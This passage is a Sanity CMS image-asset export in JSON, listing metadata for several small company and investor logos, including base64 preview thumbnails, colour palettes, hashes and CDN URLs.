qURSFTm8ZkhhTCTRiR6SCHWebMfnj+3FF4634Usd+7Dn5kmUS/WjcimIDClkl8BUIrmqlvh6qpprhkY111LTEt9aarRoqRFM6lQcH0DevlPo2rkD+MqZ/bir86CNR/vAwFlbPom11Ai21KhU1RI/TFTGnnosoamMYLFAoRHfJdTVeRCdO/oHPntkj83s6pn9NkvClvjiwatIZv0k6X8J4w8TzkzyTVUtsdVSo2lDCq2Nx3tw77VD6HLHPnT2yB50+vBufPHUn7jzRBvuOPQbPn14N/kRIjF04ibSxRCy1Gi+Wo5/07CyLYDxAzCV+DuaEHJKRd8qneixJbm6j5NGIE/vSRR0ncNU/2n7ndSVNGmw9xRKR28QRfe00jBVkaMfLc2VHZAauQplYeQlqRho47OeCpN2YlJ0Ju0kwKSeLO2y61oYu2Xb8mknyt7uQ7nRPsxm3HWx4Ptb5UOvRbxHAQylCGUh1qKLI58qbMDJZd2Lj46FLg7bnfw/iERyCkhMYWxgWWAoShPCWzQx9uTynAig8n77Ypiqjj+ni+Htpbw3xNKuRTIJMusnY4dJYgJNGCKNwMRXpF1LLO2OK1zwu0kzvZGcZz7rIgM9Cq8/DaDLKYchRTcp3BBJ2s/SLoPLuFdL+cE1e3ryXnuC2IxrtTg+YPHZQY9UDOzSxZFXavrYOkKqpiUA8skLYKkxe2JW5hVHTb+9XhPCn0hF/16RofoFhkpxWQ/L5wZZseAbK+W9AwJD/aXyw5ur5eSG1QXJIYoJqMhR6D7/PUAhdQUKqWtQ15Pw06734UwbwEw911LVkpsqcvRtTQxvVbjgDoUb2qmL4S8MKfKuqcZfblh0632M7XJVy3Hg0h0w1P8rwOwkD/nkZdD5Xvui5bNum60pB+31zhTXNFXLtDaqdOvsZLGJ2JLDF20fk+6ziYRd7RB0tsNUNQf/AnFHeeihJ8pzAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#524b37","foreground":"#fff","population":1.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e190c","foreground":"#fff","population":0.27,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#524b37","foreground":"#fff","population":1.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4ccac","foreground":"#000","population":0.48,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcf4db","foreground":"#000","population":0.39,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f876f","foreground":"#fff","population":1.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b69748","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cluster_partners_FF_small.png","path":"images/sczeoy4w/production/146adf05cad946669682c18c1e00cf96b0175844-80x80.png","sha1hash":"146adf05cad946669682c18c1e00cf96b0175844","size":7304,"uploadId":"xxRBIVHfLNFzIwWXw7O7z5Q6ppEvLtK0","url":"https://cdn.sanity.io/images/sczeoy4w/production/146adf05cad946669682c18c1e00cf96b0175844-80x80.png"} {"_createdAt":"2022-06-16T22:54:04Z","_id":"image-4255929ed463af52f29b4cfe882dc4cb34195ece-102x142-png","_rev":"oamrAPLmQLQjd9jh7ZoGbO","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:04Z","assetId":"4255929ed463af52f29b4cfe882dc4cb34195ece","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"d9L8Qk]V1rwz,tSLo1Wo1WSL|yN[w{o2SLWo1rJQ=2S2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7183098591549296,"height":142,"width":102},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAcCAYAAABh2p9gAAAACXBIWXMAAAsSAAALEgHS3X78AAAEOklEQVRIibVVTWxUVRS+0x+IYQliNZr31ZU/C2NRJGpUlMaoNEZtIFHa786QuDCGlVGjxoUbF8RoFPEnQEzEphij0BhR00ot0FLwB2PUBKtEgfae82Y6LcS15tx3pwzFpU5y8t6ce+/3zjnfd89x7r/+VeFdDd7NohytvsjMV0vW2LN9xR0L77PJcvhoLqDf5aCbQ8WdjbY5PuebzIAb6+ew2T21oiv6GutzqDgBXQCdUzBGWUe5NIdK6zwqbcnsvdV8dZSjpffSdGZBxDMtaa1kOAbq5oqQS1X4jhz+9hz+gRx+fbKeHP7+HP7OtHZTDr98GrQyLa3CX5vDr6nCX2EYlnpMo45ymx1ScKeAwwruU/BjBfcquEfBNxR8V8CtAVw9k7E1h+9QcIuCb+bw6wzDgnPnOmMN2hX+IQEPCnhYwa0KPq/giwo+o+BzAn4awEMzWf+zMxnvC+AmAT8ScEzBDXWUl8w3AOcjIB8WcETAdxT+RoVfruBKe+bwqwXcHcA/AjgZCvCRAP4m4NHzgJWLAEcFHBSwJ4CrLL0Adim4XsAPA3hCwL0Cvi7gLgG/E3BSwY0LgGdjymUD7LEIA/hDAD8J4EAABwP4noDbUspDAm6swmcWtdVWwP0KPmKAsYaJ5TYF1wr4fgCPprTMjgVwTMAPbE3AHQpuSmyvU/Dl5OuuwbdHlk2Usyi35/D3pHS/FXDCyBHwiIAHrH5arH0l4JCCuwXcYxkpOKjgvQZYP89yBHzQGBPw9wQ2kmq63wAT2MlUN1s7lP5PKNg720i5AaigyeZIAP8M4OEADgfwQAA/SymPBXA6gL8EcCKV5qQBWw1nm2WzCPBUAMeTLEZDEeFAArS1E0k+EsAfA/iWgrfW4JuFfUHK9tXxlOLXAn6RAIfT+mtGRAC/MaEL+IKC1+TwLX9hs2t0k0hKKnzUViJmsomUAS2i6RbwBgGfMOYVfCWHv7kGb03igrscZWPKT+xOJNlYtIPp8Ksmmb+v3mLdpjNdzZ32EZPeYlJM2EbCVGLZ6ve9Xa8EaukOKfyGGvxVOfyqJOzPG8L+V1IEPJ2eJpnjiXXT5jEBf7IrmJrH2ymbiYuaQxPgeJLGVADPNIFbWtsF3Jdqa1kcF/BL81vrs8vRJOxKA3A0iXaXMRjAX1MzeFzB2xS8W8CXEnF2Q3oV7MrhV1bhSzabGt3G7vJdUjTSpxW8RcDe1FV2CNgn4KWacYlm7FZwm4JPKnhZfmWfk4ylM1m/O4W+guW5YiZ0SAF0XQ5/iYLLBLw+gGtDIZNldlAyXi7gGtOegkvzzLsqyu5nPOqmssfcwqi0zSFjq2RsDRnj8LLN5ktmYHGf7ZGMLfY/ZP3mixMvTr1i7vrCWRxw1c5ynGCn0Rd9M8mqWbGv2eLHM+9msv5i0JsYLUpt2mTvNlqbP2KWLwJb8MM7G63/y+8fXiaKSzctFf4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c2e39","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84041c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c2e39","foreground":"#fff","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#910732","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f52f6d","foreground":"#fff","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#743444","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa0c5d","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-cherry-ventures.png","path":"images/sczeoy4w/production/4255929ed463af52f29b4cfe882dc4cb34195ece-102x142.png","sha1hash":"4255929ed463af52f29b4cfe882dc4cb34195ece","size":876,"uploadId":"umvLQFT5hUpVXcYOlz9dzI3EAilKc0H7","url":"https://cdn.sanity.io/images/sczeoy4w/production/4255929ed463af52f29b4cfe882dc4cb34195ece-102x142.png"} {"_createdAt":"2022-06-16T22:54:06Z","_id":"image-82e7b4d8427939a0fbd5ee1f56964bf91f5e0699-116x116-png","_rev":"qkpX9b3U0TpOGFQp8fO1j3","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:06Z","assetId":"82e7b4d8427939a0fbd5ee1f56964bf91f5e0699","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e26Ribay4Tt7%gayaekCofj[4Tay_Nj[tRozofayV@ay.8t7ozRPWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":116,"width":116},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsSAAALEgHS3X78AAAChUlEQVQ4jZ1UaU9UQRDclWMXRCAYFEEuOVxARCEx8QqJouGDEZzueQRXqnoe//8/mN6ZTRaUKHyo9Lx+MzV9TTUE+CbAKwE6AmzdEZ0A7Alw3BDgtQDTARgVoH1bhGxbAZgSYLcRyK1AusPJryD8B6S/JkeFXHfHjgBjQvq62bMFvvH0169GuLjo4bTbbfy4uOgh+N5MmM/kSDd9sS1k251KNtVsWMkRyesRNRvvfQMtIcej2ZiaPRBgUoCRgWj9/1VCIYeEnBFyVsiWmj1Wsy0l54RcUXI7mi3HlJ6r2YYAEz88gxxpK1whdCc5LMBTAVaFnFKzHTU7UrNdId8q+TmmtFXV9UFM6aWSE9/Pz3OJBgm9UyXsHmEANoV8omYv1exQzV4p+UbJDzGlTlXXe04s5P2Tnz/7TRyIMBfU1/cEeCjAugCLQi5pTnWppLymnrLZhpLPPOWQG3RjhM0AjAdgQYDlkv5CsYsFSwKsuL/sbfabciXCgbkaE2C+HFoVYG2AvH/BcrHjA2NzLeUyh9FsOpp1el0knWxHyEVPW8lVNXuk+f+ums1Es/7sXutydjZjSrMxpf1o5hd5nV706md2oGbvYkrrVUpuP0WzxZjSPTX7O6GaeYR+6753tqS8UZrxUc2+RLO9KqX3MaXDmJITDv2LcKoMs6vPYwHmlJz3Erg/mq1Wdb1W1fWzqq5nqrq+OcJCOqLkpJL+vFyBRjW/Gkc7ptSu6rp9Vtets8vL4ZjSHzXcCcBYyGLQG4HyarJAFPv14KARiji4SJx0u1k4gGY5W8SB9IlvXZer20hZCcDla8M/vPhTAciKcgcUcXb1eeGExyVtn7n1cEuUM37WX9zRbx/oyJHbEn3NAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4442","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c04","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3c4442","foreground":"#fff","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267226","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdd9b","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6e6e","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbf3f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-lakestar.png","path":"images/sczeoy4w/production/82e7b4d8427939a0fbd5ee1f56964bf91f5e0699-116x116.png","sha1hash":"82e7b4d8427939a0fbd5ee1f56964bf91f5e0699","size":889,"uploadId":"d3GlogBKepHlhovgdLJxLeA2nYHaRgeI","url":"https://cdn.sanity.io/images/sczeoy4w/production/82e7b4d8427939a0fbd5ee1f56964bf91f5e0699-116x116.png"} {"_createdAt":"2022-06-16T22:54:07Z","_id":"image-0c75c5b8da03f0e0e6b560594ded16a1d9badf57-100x79-png","_rev":"qkpX9b3U0TpOGFQp8fO2ts","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:07Z","assetId":"0c75c5b8da03f0e0e6b560594ded16a1d9badf57","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V02i2]j[s:j[ayWBofayoLay00WBWVWBRjRjj[f6j[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2658227848101267,"height":79,"width":100},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAACW0lEQVQ4jX2Uy6uOURTGv5L7LddO6fwezyJCTM6RSOQ2YUphwEnoYOAvcC38BZjJgIFcolwmBuI4rim3Q25FcjkDMhAyOFrfu78c18HT3ns9az97rfX2vDVLNUsDLc21tNrS0oBFlhbHf+AqZ1lIK0OaGVK/kGoplhhkqcXSLMPYgKGG4Q1Er32v81BLTSHNCml6wIAJdUFIwQGWpluaYqlPPfYb4m9nqW9IU0OaHLmHWhJjDeMtLTIsCFDAKMMIw2hDUyLKWmLJZY5DWhgwL6A5u0vB3YZ9hoOGA4Y9AVsNqwxbArYH7AzYlfuMFS5z9hj2R4W9ht0p2G14Y+gy3DW8CrhpOGw4b+gMuG94ZrhnuFC4q67inYZbhicB71Kwx/DVcNtwyfAh4IXhtOGy4aLhuuGl4bGhw3DG8MBwx3DccKLc/1YLqcfSZ0tXLJ0zdEdVzSnDjSJ6qog+dVV9PnY3KvFDhiOl4s9/COYIAp4bTpYqUvyY4azhdWkzBe8FXDEcNVyz9N7S90bLX8ocLsXPlrOqR4ZPpbprho8ldro8druM5K2hJ7VS8ElJyvY6ono5k/aXD9BVHstWH5bYgbJ2FDzKMaVWCq43bDbsMGwLaA9YYVhiWO6K31CwvsSSy5z2ciexKfkUHGQYY2mOIa03Km3kCskNDhiScIWMNfgxdetBa8DI1OptvRmWpqWd6rHm5l9s1kCDK9brH9K0tJ9hWPq798+h1TDfMDFgnCsr1VFs9fs5cyYV27Xk3jD7Z4WQLW/MOQSsMbQFrP0H2lzl5EzXRXV3hmHZD/8P/BmsWe1UAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#241c1c","foreground":"#fff","population":18.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4a3a3a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#241c1c","foreground":"#fff","population":18.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#564242","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4b4b4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#564242","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8f6f6f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Group_526.png","path":"images/sczeoy4w/production/0c75c5b8da03f0e0e6b560594ded16a1d9badf57-100x79.png","sha1hash":"0c75c5b8da03f0e0e6b560594ded16a1d9badf57","size":1588,"uploadId":"k8SBU38NQ4kpGZYr4ol88RlL1ZWRnkOu","url":"https://cdn.sanity.io/images/sczeoy4w/production/0c75c5b8da03f0e0e6b560594ded16a1d9badf57-100x79.png"} {"_createdAt":"2022-06-16T22:54:07Z","_id":"image-e104f9e90d19e98634324b91812b4ec229257c7b-100x80-png","_rev":"qkpX9b3U0TpOGFQp8fO3I9","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:07Z","assetId":"e104f9e90d19e98634324b91812b4ec229257c7b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V12=.d@cL}u2^9PBi_z:xZTM0e7_bEQ.Bi,.Xl5PEfx_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.25,"height":80,"width":100},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAADj0lEQVQ4jXXTf2hVZRzH8fe5dzt3v3Tadu/9nt3ZOXe/nmdTt5qVWQhpsmSr/UhGjX6JaFr/DAb9UTF2N0NHKRiy7azUuXDUjCaSwQrdnQ21hERy7myJsgiK+i/6fzfO7iYN7IEPfJ/nHF58OIcHHrSSqf8mj2TqyaXkrXj2f8txXGw7ncXZcSl4bRKmUzCZCpJceCidVAYXUzx643eaPO9+mmdnab59+0Hg4H3QsV3WVZ0i1HsHxv6Bs39T+M1f1E/P0Tzr0exDy9jsLE3LYIoECySI++3SMRzbNR3bDdnOoBF9fAQSN+HlKZ66eIumGc9o9ryQnybPM/yGjTMz4Lrp+KCfYmdwsZntLGK27biOj5ZnfkhW27dGfuKq0ZGa99v5kNPkeXaz55l+y5a5uRVgwG9Y+fDAckszbrt23HHj5XLc5N3rQfYmw8b+yTDPjgdf+m3ObJzx4j7Y5Hmm37BhenoZDPhg+QKJvGtZhym3TxIuGTJySofNTH3GXPwmByaz2JesMPYlK9h9KeQftU7fNdt+uWe2zt4xGm7eYu3IiI/l4boVPrhtga5wT+6LEF/H4dAG/mRj4A82B49mt4feKu4NV+8cLTZ6r8T4+nqY8e9CDL4X5KvuAOc+gNFj4Pb7YATX3c4CXbEUPVlog7bVW0jxRnCeXZG7tMSGc9+Rg6sSVe8Xd9rhkXGbyz9Vce1K1Lh6JmZcHo4aE6czuHQKxk74YDauG6M4UguWCpjRyhyKynJ3rHlszUBoR/XnmXW1B/Jb4u2rWitHc2tqe5+pe6Ty0Mdl9HQ7DB6s5cJAKT+MZHLjLEwOQX8/jI0BRaUgOgfRTyCqPkN0QySyYbcT3thqyvrGmoL4tvPBUN2PGRlbGyKOoqSmwdj09PPseVVILd2WiaH0T+nr88ESH8xDdCuijyHqJJY6h6U+xVJH8qNlr+xaHdm5N7dga1FBfDOiEkRVB4VlQrwaYlUGZMP4hSXQ0n5MLF2P6C8RPY3oeUT/jOjPENUWELU/KGoPouuw9BEs3UlRpRCtgLUlUFgGotJBKpbRTVj6C0T/iuh7iJpH1CeIrsfSCUR3I/oFRH+0OFu6BFGZiMq4j6XBpcHScSx9FFHfI+o8oqYQ1YWoLYjqXJobEP8dPYzoNxH1HKLKVqBpzN/oQkS/jajjS0Afol5H1HpEtSOqA1HbEXUI0VOInkDUaUQ1Iip7GfwXJfRGQABZeX0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#447974","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#098474","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e7096b","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8ccccc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6dd3c6","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#548c90","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7096b","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-wil.png","path":"images/sczeoy4w/production/e104f9e90d19e98634324b91812b4ec229257c7b-100x80.png","sha1hash":"e104f9e90d19e98634324b91812b4ec229257c7b","size":1709,"uploadId":"2WsVx4waNP9lOKiROfFHrwoPDGRNHoFT","url":"https://cdn.sanity.io/images/sczeoy4w/production/e104f9e90d19e98634324b91812b4ec229257c7b-100x80.png"} {"_createdAt":"2022-06-16T22:54:08Z","_id":"image-0a68ed519b14f8e366b65f579b3686d1bd23bcee-300x300-png","_rev":"qkpX9b3U0TpOGFQp8fO49Y","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:08Z","assetId":"0a68ed519b14f8e366b65f579b3686d1bd23bcee","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8LqLLxt00t700%LayWBj[Rk00a|00Rj%LRkj[M|WB%L00WB~VfQ~V","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":300,"width":300},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE7klEQVQ4jV1U6W8bRRSfqulHKFRUrUCIPwIkEKiiUlG/gSoVIcT/gISQWvVQ0pM0TSDkaJo2aS4f63MPX0l8xI7teHe969312rt2HNt1nIbjQ+klKKHAPDRTWlRWetqZN7/3m5nfvPfQk19tJGe9qLuRRuSLBiZ6cgnHG0rOd9SQuFPlIj9nyFy4ogjhihqa0SX2hJLzHcklHAc5ZqQHAJBtxNDaihvBX22ECmQAgJjZwV25pPNVdS3woSay53WRXawoQs3SIj9V1NA9qxS+Vy2FfywXeduQuIgusmfVvP+DXNK5d3biIuVYS7kR6jbSaHzo9K58ynWgtBb4XJe4gCFzW4bM7VilMKybi8+tZkShoobAkPkdQ+Y2dZFlijn/8dW447XJkV60Xl5E6L2330GFjGefIfNfmIqQKMv8QxJULy9Cy07gzvoK3myk8WZjBXfWU7hlxTFZq6ghbMjcfUPmo4bMHS+kmb1Us4BzeI8hcUdqRoyz9eijaikMjcoyJdhqZvCd1uoLRnxkrVFZwgRbM6IP6uWYR5fYQ66Zqz0oHpp6S5fYfluP/EAAlhah4KYVh6YVJ/9nY2hWlzE1Kw4EQ7CWFgFbj3Q1Mdi3LNx8HUkZ5lhFEVK2FnlCCG0tgmt6FHQxiHMJB2SW5qitLs9TyyedYEgsJnoSrPX0EDumIsTEDHMUVdVQf8tOtDrrKejUU1Szlh3HhRUX+OYHYW7iAkyP9sLsxAVwTn0DIe8YIYTb9STVtPPUoGXH66YinEH1cozvbqTvbrezsN3OUn3KMocX2evguHEJZq6dh6mRXpga7YXpsT7wzw9BIeWCuhHD3UYakxgSu9lI/1zTo07y1GvdjfQj4iSiE+ASN0lPRojIqbxzg8DcukLJb42fA8/MAL0+yYLtdpY8FnQ30vdrRnSZEOa7G5lHxEkeoLDiwqxrmAaPXz0Jk9+dgdlr52H++kW6AZlPj/bRqxOdO/XUi4T1cowjV95qZkATgzjg+BbPT17Cs/8STgydogSEjMzHBk5Q362xPix4R3G1FKKEm40VcuUFVFFDl1t2otmuJaC0FsBh3zj2zQ9iz8xVYGYGgHN/DxHfOJBTu6f7wXHjMrim+sE9fQWHvKNYF1l8u56ElhWvmUXhFBLTzMcVRUhYpfAfhsSBkvPhYtYLUobBUoYBNe8jG4Ga94O86gEx7X6+Jmc8mLy4VQrvmEU+IqbdH6FlYepNXWQvWVrkDik5qxTGG9Vl3LITVHSSQi07Dm07QYz46ZwkNim/cpEn/45WCJ5d4m8eRH7n8B5d4g5bpUjAVISHphKiYJKP/y+9rebT0iO5RzCmIoAucfdMRXCVCsH3mdnBHlrPhTTzSqkQ/EyXuEVD5h9U1DD+rzmkaG4+aw4kE2pGDEyFNodfNJEVlLz/WC7pepm0MFRVw+jm2DmUSzr3q2uBTw2JYwyZ65SL/O+kVmmJ6RGSyFAvx6CqhrAusY91kW1rIrug5P2fZBOOfYMXvyZVh1A24aDN0T0zgPJJ517SNDUxeMaQuVBVDVUrqrCtS+xds8jfJTqbimBqYpArFQIniznfu6vxhZeuDZ2mHPmUC6E/f6shMeNBd1pZ6uQ9o7uz8YUDxaz3sCGxX5Vl7oZWCLK6yAbNIj9hSOyXxaz3UDa+sJ9jRnaTmA0rTmRDfz+uo38Aq2OWeBXycyYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a4131","foreground":"#fff","population":5.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d2314","foreground":"#fff","population":2.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4a4131","foreground":"#fff","population":5.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4cdac","foreground":"#000","population":0.14,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbf4da","foreground":"#000","population":2.31,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#918977","foreground":"#fff","population":1.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0894e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-first-fellow-partners.png","path":"images/sczeoy4w/production/0a68ed519b14f8e366b65f579b3686d1bd23bcee-300x300.png","sha1hash":"0a68ed519b14f8e366b65f579b3686d1bd23bcee","size":76883,"uploadId":"IDDmTrKlaN0t5Q28BZc8EarPY62OA4fx","url":"https://cdn.sanity.io/images/sczeoy4w/production/0a68ed519b14f8e366b65f579b3686d1bd23bcee-300x300.png"} {"_createdAt":"2022-06-15T20:02:21Z","_id":"image-240e4d1eabd4fdf816667fea4e92454638ead4bc-1567x844-png","_rev":"z4aw9LO53fWpwEzdXNERQK","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:20Z","assetId":"240e4d1eabd4fdf816667fea4e92454638ead4bc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWPPo:.9.7M_RkYRMxenW=xt^*Mw9a-pRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADG0lEQVQokWXMTVMbdRzA8T169+hL8A149+wLcDw42rGHTqEpMRXDxLSDMmymyIxjC9XBIlAlaaLSB7WAWpqkSJ63aZpks7v/JPu8+9/dJBtKYMjv58DVw2fme/oyUluf4gX5Li/IKUFU74tES54RJPUcL8hJQVSTqu4mLTr8H9sZ3redYcqmwx9t6kcYrtpcye4X+b30gZvO5u1c4QUtc41zFa5BC6XaeZOOQXWzRzXDparuUEWjVFZsqmmebRp9xzZ7ErXcFMNV+UT2edF5urePzzI5LHN1bAkKCpKGItGQF7pYb0ooSjJKRMaWIJ3jWyJWuSZy+wRFTkerq/ddQ/2LaXfNzZaoWM1WF3lBGXcVGwxrAJbtg6YOoNXQoVh4CblcAQ5yOchms5BOZyCbzcDvD3dhc3lnnN4qod6S3L7R2WYsOoxbdGhb1EeL+mBTH6njo2n4WE17+GC5iWtLW7ixsYGJRAJXV1dxeWkZb9++hfNzMZyLxODRehzVatEbqGSHsZ1h3HZ8m56N6ACo3UPXcVEVHHz8tYHX33uOoY8WcXZ2FhcWbmI0GsVgcAquBq7g5YkJiIY/hSc/zKO5/4t72KltM5T24g71bMd20bXp2DUt6Jk6yBUNfp1pQ+TdbZh4/wYEQ0GIRGYgPB2CUOAyTAcuQTQ0CUs3rkB+JYT97Gr/uFveZTzLinumaXmmgT1TH/cNBXy1A+ZLAsW1Bjy4tgW3Jq/DXDAAC9MBuBOehLufX4Kfwp/Ab9EL8Gz+w5PuemA4Km5Kp0opxQw6QsIlPLXbPHqKiEOd4KEmoi8L2CtXUP9uDUtT13Dn6gTuhSex8mUAW4tB7N75DI31mVMvGVGPdm7+MX71mAWldIEZNsvfOrVCSauXOpTUpEONJyP9TJOMGgVy9PO9tjc3T6xFlrhr35DXD78nJ3v3yDifEqH66ADrf65ga/djJJm3QS68ybwm1Q8GIveFJ72I+d0aO9Lq7LH2ij1Wa+yIL7FHmX9iR38/YU+KT9nTRpYF8i+Lcj6GSuErUEsXx1rlnbHGvTVWS2+gkmf+A3esx09qd86mAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f394b","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82011f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f35235","foreground":"#fff","population":3.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c49898","foreground":"#000","population":0.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f35235","foreground":"#fff","population":3.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#93637d","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc2456","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"240e4d1eabd4fdf816667fea4e92454638ead4bc-1567x844.png","path":"images/sczeoy4w/production/240e4d1eabd4fdf816667fea4e92454638ead4bc-1567x844.png","sha1hash":"240e4d1eabd4fdf816667fea4e92454638ead4bc","size":386609,"uploadId":"4F8f0iNXBexCiHRDk1EcKYmiGbse772Y","url":"https://cdn.sanity.io/images/sczeoy4w/production/240e4d1eabd4fdf816667fea4e92454638ead4bc-1567x844.png"} 